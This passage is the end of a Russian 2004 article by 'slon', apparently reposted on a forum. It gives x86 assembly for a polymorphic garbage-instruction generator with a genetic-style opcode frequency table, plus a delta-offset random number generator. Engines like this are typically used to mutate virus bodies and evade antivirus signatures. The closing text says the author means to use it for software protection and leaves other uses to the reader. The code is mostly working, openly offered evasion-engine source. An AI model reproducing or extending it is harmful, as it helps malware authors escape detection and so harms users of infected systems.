		shl	eax,3			; Умножаем eax на 8
		add	dl,al			; Добавляем к dl - al
		call	free_reg		; Вызываем подпрограмму 
						; получения свободных 
						; регистров
		add	al,dl			; Добавляем к al - dl
		stosb				; И помещаем al в буфер
						; В итоге у нас получается
						; случайно выбранная
						; инструкции XADD,IMUL, ...:
						; .........................
						; 	xadd	eax,eax
						; .........................
		sub	ecx,3			; Уменьшаем счётчик на 3
		ret				; Возврат из подпрограммы

;----[Генерация инструкций MOV - 0x66 0xb8..0xbf]--------------------------;

__mov_r16_imm16:
		cmp	cl,4			; Если длина генерируемой
		jge	__g14__			; инструкции меньше 4, то
		ret				; Возврат из подпрограммы
__g14__:
		mov	al,066h			; Кладём в al - 066h
		stosb				; И помещаем al в буфер
		mov	dl,0b8h			; Помещаем в dl - 0b8h
		call	free_reg		; Вызываем подпрограмму 
						; получения свободных 
						; регистров
		add	al,dl			; Добавляем к al - dl
		stosb				; И помещаем al в буфер
		xor	eax,eax			; Обнуляем eax
		dec	eax			; Теперь в eax - 0ffffffffh
		call	brandom32		; Генерируем СЧ
		stosw				; И помещаем его в буфер
						; В итоге у нас получается
						; случайно выбранная
						; инструкции MOV:
						; .........................
						; 	mov	ax,3452
						; .........................
		sub	ecx,4			; Уменьшаем счётчик на 4
		ret				; Возврат из подпрограммы

;----[Генерация инструкций CMOVA - 0x0f 0x40..0x4f]------------------------;

__cmova_r32_r32:
		cmp	cl,3			; Если длина генерируемой
		jge	__g15__			; инструкции меньше 6, то
		ret				; Возврат из подпрограммы
__g15__:
		mov	al,0fh			; Кладём в al - 0fh
		stosb				; И помещаем al в буфер
		mov	eax,15			; Генерируем случайное число
		call	brandom32		; в диапазоне 0..14
		add	al,40h			; Добавляем к al - 40h
		stosb				; И помещаем al в буфер
		call	free_reg		; Берём случайный регистр
		shl	eax,3			; Умножаем его на 8
		add	al,0c0h			; Добавляем к нему - 0c0h
		mov	dl,al			; Помещаем в dl - al
		call	rnd_reg			; Вызываем подпрограмму 
						; получения свободных 
						; регистров
		add	al,dl			; Добавляем к al - dl
		stosb				; И помещаем al в буфер
						; В итоге у нас получается
						; случайно выбранная
						; инструкции CMOVA:
						; .........................
						; cmova        eax,edx
						; .........................
		sub	ecx,3			; Уменьшаем счётчик на 3
		ret				; Возврат из подпрограммы

;----[Генерация инструкций PUSH/POP - 0x6a, 0x0ff 0x0f0..0x0f7;0x58..0x5f]-;

__push_r32_2:
		mov	eax,10			; Генерируем СЧ
		call	brandom32		; в диапазоне 0..9
		mov	edx,eax			; Кладём в edx - eax
		add	al,3			; Добавляем к al - 3

		cmp	eax,ecx			; Если длина генерируемых
		jle	__g16__			; инструкций меньше ,то
		ret				; Возврат из подпрограммы
__g16__:
		mov	eax,4			; Генерируем СЧ
		call	brandom32		; в диапазоне 0..3
		test	eax,eax			; Если оно не равно 0, то
		jnz	__ng3__			; Переходим на метку __ng3__

		mov	al,6ah			; Кладём в al - 06ah
		stosb				; Помещаем al в буфер
		xor	eax,eax			; Обнуляем eax
		dec	eax			; Теперь в eax - 0ffffffffh
		call	brandom32		; Генерируем СЧ
		stosb				; Кладём в буфер
		jmp	__gen5__		; Идём на генерацию мусора
__ng3__:
		push	edx			; Сохраняем в стэке edx

		mov	al,0ffh			; Кладём в al - 0ffh
		stosb				; И помещаем al в буфер
		mov	dl,0f0h			; Кладём в dl - 0f0h
		call	free_reg		; Получаем свободный регистр 
		add	al,dl			; Добавляем к al - dl
		stosb				; И помещаем al в буфер

		pop	edx			; Вынимаем из стэка edx
__gen5__:
		push	ecx			; Сохраняем ecx в стэке
		mov	ecx,edx			; Кладём в ecx - edx
		call	garbage			; Генериуем серию мусора
		pop	ecx			; Восстанавливаем ecx из
						; стэка

		call	free_reg		; Вызываем подпрограмму 
						; получения свободных 
						; регистров
		add	al,58h			; Добавляем к al - 58h
		stosb				; И опять кладём al в буфер
						; В итоге у нас получается
						; случайно выбранная
						; инструкции PUSH/POP:
						; .........................
						; 	push	eax
						;	mov	eax,2345
						; 	pop	ecx
						; .........................
		sub	ecx,edx			; Уменьшаем счётчик на edx
		sub	ecx,3			; Уменьшаем счётчик на 3
		ret				; Возврат из подпрограммы

;----[Генерация инструкций PUSH - 0x68,0x58..0x5f]-------------------------;

__push_imm32:
		mov	eax,10			; Генерируем СЧ в
		call	brandom32		; диапазоне 0..9
		mov	edx,eax			; Помещаем в edx - eax
		add	al,6			; Добавляем к al - 6

		cmp	eax,ecx			; Если длина генерируемых
		jle	__g17__			; инструкций меньше, то
		ret				; Возврат из подпрограммы
__g17__:
		mov	al,68h			; Кладём в al - 68h
		stosb				; Помещаем al в буфер 
		xor	eax,eax			; Обнуляем eax
		dec	eax			; Теперь в eax - 0ffffffffh
		call	brandom32		; Генерируем СЧ
		stosd				; Кладём его в буфер

		push	ecx			; Сохраняем ecx в стэке
		mov	ecx,edx			; Кладём в ecx - edx
		call	garbage			; Генерируем серию мусора
		pop	ecx			; Восстанавливаем ecx из
						; стэка

		call	free_reg		; Вызываем подпрограмму 
						; получения свободных 
						; регистров
		add	al,58h			; Добавляем к al - 58h
		stosb				; И опять кладём al в буфер
						; В итоге у нас получается
						; случайно выбранная
						; инструкции PUSH/POP:
						; .........................
						; 	push	eax
						; 	add	eax,42346
						; 	pop	ecx
						; .........................
		sub	ecx,edx			; Уменьшаем счётчик на edx
		sub	ecx,6			; Уменьшаем счётчик на 6
		ret				; Возврат из подпрограммы

;----[Генерация однобайтовых инструкций - 0x40..0x4f;0x0f2;0x0f3...]-------;

__one_byte:
		mov	eax,3			; Генерируем случайное число
		call	brandom32		; в диапазоне 0..2
		                                   
		cmp	al,1			; Если число = 1, то 
		jne	__not_inc_		; генерируем инструкцию INC

		call	free_reg		; Вызываем подпрограмму 
						; получения свободных 
						; регистров
		add	al,40h			; Добавляем к al - 40h
		stosb				; Помещаем al в буфер
						; В итоге у нас получается
						; случайно выбранная
						; инструкции INC:
						; .........................
						; 	inc	eax
						; 	inc	ebp
						; .........................
		jmp	__q__			; Идём на выход
__not_inc_:

		cmp	al,2			; Если число = 2, то
		jne	__not_dec_		; Идём на выход

		call	free_reg		; Вызываем подпрограмму 
						; получения свободных 
						; регистров
		add	al,48h			; Добавляем к al - 48h
		stosb				; Помещаем al в буфер
						; В итоге у нас получается
						; случайно выбранная
						; инструкции DEC:
						; .........................
						; dec             eax
						; .........................
		jmp	__q__			; Идём на выход
__not_dec_:

		lea	esi,[ebp+__1_byte_opcode]; Кладём в esi указатель на
						; таблицу однобайтных
						; инструкций
		mov	eax,8			; Генерируем случайное число
		call	brandom32		; в диапазоне 0..7
		add	esi,eax			; Прибавляем к esi - eax 
		movsb				; Помещаем инструкцию
						; из таблицы в буфер
						; В итоге у нас получается
						; случайно выбранная
						; инструкция из таблицы:
						; ........................
						; 	cld             
						; 	nop             
__q__:						; ........................
		dec	ecx			; Уменьшаем ecx на единицу
		ret				; Возврат из подпрограммы

;----[Подпрограмма получающая случайный свободный регистр]-----------------;

free_reg:                                          
						; Подпрограмма получения
						; свободного регистра

		push	edx ecx			; Сохраняем в стэке edx, ecx
another:					;

		call	rnd_reg			;
		bt      ebx, eax		; Определяем используемый
		jc     another			; случайный регистр

		pop	ecx edx			; Восстанавливаем ecx, edx
		ret				; Возврат из подпрограммы

;----[Подпрограмма получающая случайный регистр]---------------------------;

rnd_reg:                                           
						; Подпрограмма получения
						; случайного регистра

		mov	eax,8			; Получаем случайное число
		call	brandom32		; в диапазоне 0..7
		ret				; Возврат из подпрограммы

;----[Таблица смещений на подпрограммы]------------------------------------;

mega_table:
		dw	__x87		-__st__ 	;
		dw	__mov_r32_r32	-__st__ 	; 
		dw	__push_r32	-__st__ 	; 
		dw	__push_r32_2	-__st__ 	; 
		dw	__push_imm32	-__st__ 	; 
		dw	__shl_r32_imm8	-__st__ 	; 
		dw	__cmp_r32_r32	-__st__ 	;
		dw	__xor_r32_r32	-__st__ 	;
		dw	__one_byte	-__st__ 	;
		dw	__mov_r32_imm32	-__st__ 	;
		dw	__jxx_short	-__st__ 	; Таблица
		dw	__jxx_near	-__st__ 	; относительных
		dw	__add_r32_imm32	-__st__ 	; смещений от метки
		dw	__jmp_short	-__st__ 	; delta_offset
		dw	__lea_r32_imm32	-__st__ 	;
		dw	__test_r32_r32	-__st__ 	;
		dw	__not_r32	-__st__ 	;
		dw	__xadd_r32_r32	-__st__ 	;
		dw	__mov_r16_imm16	-__st__ 	;
		dw	__cmova_r32_r32	-__st__ 	; 
		dw	__call_near	-__st__ 	;

;----[Таблица однобайтовых опкодов]----------------------------------------;

__1_byte_opcode:
		std				;
		cld				; Таблица однобайтовых
		nop				; инструкций
		clc				;
		stc				;
		cmc				;
		db	0f2h			; rep
		db	0f3h			; repnz

;----[Таблица трёхбайтовых опкодов]----------------------------------------;

__3_byte_opcode:
db	0a3h,0abh,0adh,0b3h,0bbh,0bdh,0bfh	; Таблица трёхбайтовых
db	0b6h,0b7h,0beh,0afh,0bch,0c1h,0bdh	; инструкций

;----[Таблица мат. ожиданий опкодов]---------------------------------------;

__freq_table:
		dw	10			; x87(0xdc)
		dw	209			; mov r32,r32(0x8b)
		dw	107			; push r32/pop r32(0x50)
		dw	147			; push r32(0xff,0x6a)
		dw	32			; push imm32(0x68)
		dw	6			; ror/shl r32,imm8(0xc1)
		dw	5			; cmp r32,r32(0x3ah)
		dw	43			; xor r32,r32(0x33)
		dw	8			; rep/repnz(0xf3)
		dw	22			; mov r32,imm32(0xb8)
		dw	82			; je short(0x70..0x7fh)
		dw	18			; je near(0x0f)
		dw	78			; add/or r32,imm32
						; (0x81..0x85)
		dw	30			; jmp short(0xeb)
		dw	63			; lea r32,imm32(0x8d)
		dw	1			; test r32/r8,r32/r8
						; (0x84,0x85)
		dw	1			; not/neg(0xf7)
		dw	23			; xadd/imul r32,r32(0x0f)
		dw	6			; mov r16,imm16(0x66)
		dw	13			; cmova r32,r32(0x0f)
		dw	95			; call near(0xe8)

;----[Количество поколений]------------------------------------------------;

__generation	dd	9

;----[Наследственность]----------------------------------------------------;

__cross1	dd	0
__cross2	dd      0

;----[Определения регистров]-----------------------------------------------;

_eax		equ     00000001h		;
_ecx		equ     00000002h		;
_edx		equ     00000004h		;
_ebx		equ     00000008h		;
_esp		equ     00000010h		; Определения регистров
_ebp		equ     00000020h		; спасибо Z0MBiE :smile3:
_esi		equ     00000040h		;
_edi		equ     00000080h		;
;--------------------------------------------------------------------------;
;                                                                          ;
;----[Резать здесь]--------------------------------------------------------;

Для работы данного движка необходима новая версия - ГЕНЕРАТОР СЛУЧАЙНОГО ЧИСЛА.

;----[Резать здесь]--------------------------------------------------------;
;                                                                          ;
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%;
; ГЕНЕРАТОР СЛУЧАЙНОГО ЧИСЛА V. 0.3 (x) 2004 СЛОН http://slon.wronger.com  ;
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%;
; Интервал:		[0..eax-1]                                         ;
;--------------------------------------------------------------------------;
; Использование:        call	r_init                                     ;
;			mov	eax,ГРАНИЦА ИНТЕРВАЛА                      ;
;			call	brandom32                                  ;
;--------------------------------------------------------------------------;
; Результат:		число в интервале [0..ГРАНИЦА ИНТЕРВАЛА]           ;
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%;

;----[Подпрограмма инициализации генератора случайных чисел]---------------;

r_init:
		push	ebp eax edx		; Сохраняем в стэке ebp,
						; eax, edx

		call	__delta1_		;
__delta1_:	pop	ebp			; Получение дельта смещения
		sub	ebp,offset __delta1_	;

		db	0fh,031h		; Получаем случайное зерно
		mov	rand_seed,eax		;

		pop	edx eax ebp		; Восстанавливаем edx,
						; eax, ebp

		ret				; Возврат из подпрограммы

;----[Подпрограмма генерации случаного чмсла в диапазоне]------------------;

brandom32:					; Эта подпрограмма 
						; возвращает случайное число
						; в диапазоне 0..eax-1

		push	edx ecx	ebp		; Сохраняем в стэке edx, 
						; ecx, ebp

		call	__delta2_		;
__delta2_:	pop	ebp			; Получение дельта смещения
		sub	ebp,offset __delta2_	;

		imul	eax,eax,100		; Умножаем eax на 100
		push	eax			; и сохраняем eax в стэке

		call	random32		; Вызываем подпрограмму
						; генерации случайного числа
		xor	edx,edx			; Обнуляем edx
		pop	ecx			; Восстанавливаем значение
						; из стэка в ecx
		div	ecx			; Делим eax на ecx
		xchg	eax,edx			; Помещаем остаток в eax
		xor	edx,edx			; Обнуляем edx
		push	100			; Помещаем в ecx - 100
		pop	ecx			;
		div	ecx			; Делим eax на ecx
		pop	ebp ecx edx		; Восстанавливаем ebp, ecx,
						; edx
		ret				; Возврат из подпрограммы

;----[Подпрограмма генерации случайного числа]-----------------------------;

random32:
		push	ebp

		call	__delta3_		;
__delta3_:	pop	ebp			; Получение дельта смещения
		sub	ebp,offset __delta3_	;

                mov     eax,12345678h		;
		rand_seed= dword ptr $-4	; 
		imul	eax,00019660Dh		; 
		add	eax,03C6EF35Fh		; Математические операции
		mov     [ebp+rand_seed],eax	; для получения случайного
		shr     eax,16			; числа
		imul    eax,[esp+4]		;

		pop	ebp

		retn				; Возврат из подпрограммы

;--------------------------------------------------------------------------;
;                                                                          ;
;----[Резать здесь]--------------------------------------------------------;

Последние две техники нигде мной ранее не встречались. И хочется верить, что разработаны они мной.

Для чего это всё может быть использовано? Об этом каждый ответит для себя сам. Я например собираюсь на базе данного движка создать программную защиту. После всего этого, хочется задаться закономерным вопросом: "Полиморфизм мёртв?".

(c)slon (2004).

 

© slon

0 1.286
archive

archive
New Member

Регистрация:
27 фев 2017
Публикаций:
532